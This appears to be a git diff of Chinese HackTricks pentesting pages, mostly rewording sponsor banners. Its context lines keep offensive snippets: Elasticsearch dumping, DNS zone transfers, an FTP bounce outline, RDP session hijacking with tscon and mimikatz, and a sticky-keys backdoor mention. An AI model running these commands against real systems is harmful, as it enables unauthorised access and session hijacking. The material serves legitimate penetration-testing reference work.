<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
@ -36,23 +36,23 @@ PORT STATE SERVICE
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用程序、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -127,7 +127,7 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0
|
|||
|
||||
### 转储索引
|
||||
|
||||
如果您想要**转储索引的所有内容**,可以访问:`http://host:9200/<index>/_search?pretty=true`,例如`http://10.10.10.115:9200/bank/_search?pretty=true`
|
||||
如果您想**转储索引的所有内容**,可以访问:`http://host:9200/<index>/_search?pretty=true`,例如`http://10.10.10.115:9200/bank/_search?pretty=true`
|
||||
|
||||
![](<../.gitbook/assets/image (914).png>)
|
||||
|
||||
|
@ -148,7 +148,7 @@ _注意:如果您指明更大的数字,所有条目仍然会被转储,例
|
|||
|
||||
![](<../.gitbook/assets/image (335).png>)
|
||||
|
||||
如果您只想**在某个索引中搜索**,可以在**路径**中**指定**它:`http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||
如果您只想**在一个索引中搜索**,可以在**路径**中**指定**它:`http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||
|
||||
_注意,q参数用于搜索内容**支持正则表达式**_
|
||||
|
||||
|
@ -156,7 +156,7 @@ _注意,q参数用于搜索内容**支持正则表达式**_
|
|||
|
||||
### 写权限
|
||||
|
||||
您可以通过尝试在新索引中创建新文档来检查您的写权限,运行类似以下内容:
|
||||
您可以通过尝试在新索引中创建新文档来检查您的写权限,运行类似以下内容的命令:
|
||||
```bash
|
||||
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
|
||||
{
|
||||
|
@ -190,15 +190,15 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用程序、网络和云
|
||||
**从黑客的角度看待您的网络应用程序、网络和云**
|
||||
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -9,7 +9,7 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -17,15 +17,15 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**域名系统 (DNS)** 作为互联网的目录,使用户能够通过 **易于记忆的域名** 访问网站,如 google.com 或 facebook.com,而不是数字互联网协议 (IP) 地址。通过将域名转换为 IP 地址,DNS 确保网页浏览器能够快速加载互联网资源,简化我们在在线世界中的导航。
|
||||
**域名系统 (DNS)** 作为互联网的目录,使用户能够通过 **易于记忆的域名** 访问网站,如 google.com 或 facebook.com,而不是数字互联网协议 (IP) 地址。通过将域名转换为 IP 地址,DNS 确保网页浏览器能够快速加载互联网资源,简化了我们在在线世界中的导航。
|
||||
|
||||
**默认端口:** 53
|
||||
```
|
||||
|
@ -52,7 +52,7 @@ DNS 中没有横幅,但您可以抓取 `version.bind. CHAOS TXT` 的魔法查
|
|||
```bash
|
||||
dig version.bind CHAOS TXT @DNS
|
||||
```
|
||||
此外,工具 [`fpdns`](https://github.com/kirei/fpdns) 也可以指纹识别服务器。
|
||||
此外,工具 [`fpdns`](https://github.com/kirei/fpdns) 还可以指纹识别服务器。
|
||||
|
||||
还可以使用 **nmap** 脚本抓取横幅:
|
||||
```
|
||||
|
@ -66,7 +66,7 @@ dig any victim.com @<DNS_IP>
|
|||
```
|
||||
### **区域传输**
|
||||
|
||||
此过程缩写为 `Asynchronous Full Transfer Zone` (`AXFR`)。
|
||||
此过程缩写为 `Asynchronous Full Transfer Zone` (`AXFR`).
|
||||
```bash
|
||||
dig axfr @<DNS_IP> #Try zone transfer without domain
|
||||
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
|
||||
|
@ -172,15 +172,15 @@ dig google.com A @<IP>
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### 邮件发送到不存在的账户
|
||||
### 邮件发送至不存在的账户
|
||||
|
||||
通过检查因发送到目标域内无效地址而触发的未送达通知(NDN),通常会泄露有价值的内部网络细节。
|
||||
通过检查因发送至目标域内无效地址而触发的未送达通知(NDN),通常会泄露有价值的内部网络细节。
|
||||
|
||||
提供的未送达报告包括以下信息:
|
||||
|
||||
|
@ -223,7 +223,7 @@ host.conf
|
|||
危险的 Bind 服务器配置设置:
|
||||
|
||||
| **选项** | **描述** |
|
||||
| ----------------- | -------------------------------------------------------------------------- |
|
||||
| ----------------- | ------------------------------------------------------------------------------ |
|
||||
| `allow-query` | 定义哪些主机被允许向 DNS 服务器发送请求。 |
|
||||
| `allow-recursion` | 定义哪些主机被允许向 DNS 服务器发送递归请求。 |
|
||||
| `allow-transfer` | 定义哪些主机被允许从 DNS 服务器接收区域传输。 |
|
||||
|
@ -289,7 +289,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用程序、网络和云
|
||||
**从黑客的角度审视您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -75,15 +75,15 @@ finger @internal@external
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -91,7 +91,7 @@ finger @internal@external
|
|||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,29 +15,29 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
# 简介
|
||||
|
||||
如果您可以访问一个跳跃 FTP 服务器,您可以让它请求其他 FTP 服务器的文件(您知道一些凭据)并将该文件下载到您自己的服务器。
|
||||
如果您可以访问一个跳转 FTP 服务器,您可以让它请求其他 FTP 服务器的文件(您知道一些凭据)并将该文件下载到您自己的服务器。
|
||||
|
||||
## 要求
|
||||
|
||||
- 在 FTP 中间服务器上有有效的 FTP 凭据
|
||||
- 在受害者 FTP 服务器上有有效的 FTP 凭据
|
||||
- 两个服务器都接受 PORT 命令(跳跃 FTP 攻击)
|
||||
- 两个服务器都接受 PORT 命令(跳转 FTP 攻击)
|
||||
- 您可以在 FTP 中间服务器的某个目录中写入
|
||||
- 中间服务器将比您更有权限访问受害者 FTP 服务器(这是您要利用的)
|
||||
|
||||
## 步骤
|
||||
|
||||
1. 连接到您自己的 FTP 服务器并使连接被动(pasv 命令),以便在受害者服务将发送文件的目录中监听
|
||||
2. 制作将要发送到受害者服务器的 FTP 中间服务器的文件(利用)。该文件将是需要的命令的明文,以便对受害者服务器进行身份验证、切换目录并将文件下载到您自己的服务器。
|
||||
2. 制作将要发送到受害者服务器的 FTP 中间服务器的文件(利用)。该文件将是需要的命令的纯文本,以便对受害者服务器进行身份验证、切换目录并将文件下载到您自己的服务器。
|
||||
3. 连接到 FTP 中间服务器并上传之前的文件
|
||||
4. 使 FTP 中间服务器与受害者服务器建立连接并发送利用文件
|
||||
5. 在您自己的 FTP 服务器上捕获文件
|
||||
|
@ -48,9 +48,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度审视您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
@ -80,7 +80,7 @@ JDWP 利用依赖于 **协议缺乏身份验证和加密**。它通常位于 **8
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 获取黑客对您的网络应用程序、网络和云的看法
|
||||
**获取黑客对您的网络应用程序、网络和云的看法**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -45,16 +45,16 @@ msf> use auxiliary/scanner/scada/modbus_findunitid
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# 3389 - Pentesting RDP
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,15 +17,15 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
由微软开发的 **远程桌面协议** (**RDP**) 旨在通过网络实现计算机之间的图形界面连接。要建立这样的连接,用户需要使用 **RDP** 客户端软件,同时,远程计算机需要运行 **RDP** 服务器软件。此设置允许无缝控制和访问远程计算机的桌面环境,基本上将其界面带到用户的本地设备上。
|
||||
由微软开发的 **远程桌面协议** (**RDP**) 旨在通过网络启用计算机之间的图形界面连接。要建立这样的连接,用户使用 **RDP** 客户端软件,同时,远程计算机需要运行 **RDP** 服务器软件。此设置允许无缝控制和访问远程计算机的桌面环境,基本上将其界面带到用户的本地设备上。
|
||||
|
||||
**默认端口:** 3389
|
||||
```
|
||||
|
@ -72,7 +72,7 @@ rdp_check <domain>/<name>:<password>@<IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
@ -94,9 +94,9 @@ tscon <ID> /dest:<SESSIONNAME>
|
|||
```
|
||||
现在您将进入所选的 RDP 会话,并且您将仅使用 Windows 工具和功能来模拟用户。
|
||||
|
||||
**重要**:当您访问一个活动的 RDP 会话时,您将使正在使用它的用户断开连接。
|
||||
**重要**:当您访问一个活动的 RDP 会话时,您将使正在使用该会话的用户断开连接。
|
||||
|
||||
您可以通过进程转储获取密码,但这种方法更快,并且可以让您与用户的虚拟桌面进行交互(密码在记事本中而未保存在磁盘上,其他机器上打开的其他 RDP 会话...)
|
||||
您可以通过转储进程来获取密码,但这种方法更快,并且可以让您与用户的虚拟桌面进行交互(密码在记事本中而未保存在磁盘上,其他机器上打开的其他 RDP 会话...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
|
@ -109,7 +109,7 @@ ts::remote /id:2 #Connect to the session
|
|||
|
||||
结合这个技术与 **stickykeys** 或 **utilman,您将能够随时访问管理CMD和任何RDP会话**
|
||||
|
||||
您可以使用以下链接搜索已经被这些技术后门化的RDP:[https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
您可以使用以下链接搜索已经被这些技术后门化的RDP: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
### RDP Process Injection
|
||||
|
||||
|
@ -127,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn** 是一个用 Powershell 创建的后期利用框架,主要旨在自动化对 Microsoft Windows 计算机的 **Shadow** 攻击。此漏洞(被微软列为一项功能)允许远程攻击者 **在未获得受害者同意的情况下查看其桌面**,甚至可以按需控制它,使用操作系统本身的本地工具。
|
||||
**AutoRDPwn** 是一个用 Powershell 创建的后期利用框架,主要用于自动化对 Microsoft Windows 计算机的 **Shadow** 攻击。此漏洞(被微软列为一个特性)允许远程攻击者 **在未获得受害者同意的情况下查看其桌面**,甚至可以按需控制它,使用操作系统本身的本地工具。
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* 从命令行以自动化方式控制鼠标和键盘
|
||||
|
@ -157,9 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
